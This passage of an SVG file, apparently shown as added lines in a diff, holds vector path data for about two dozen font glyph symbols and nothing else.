10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
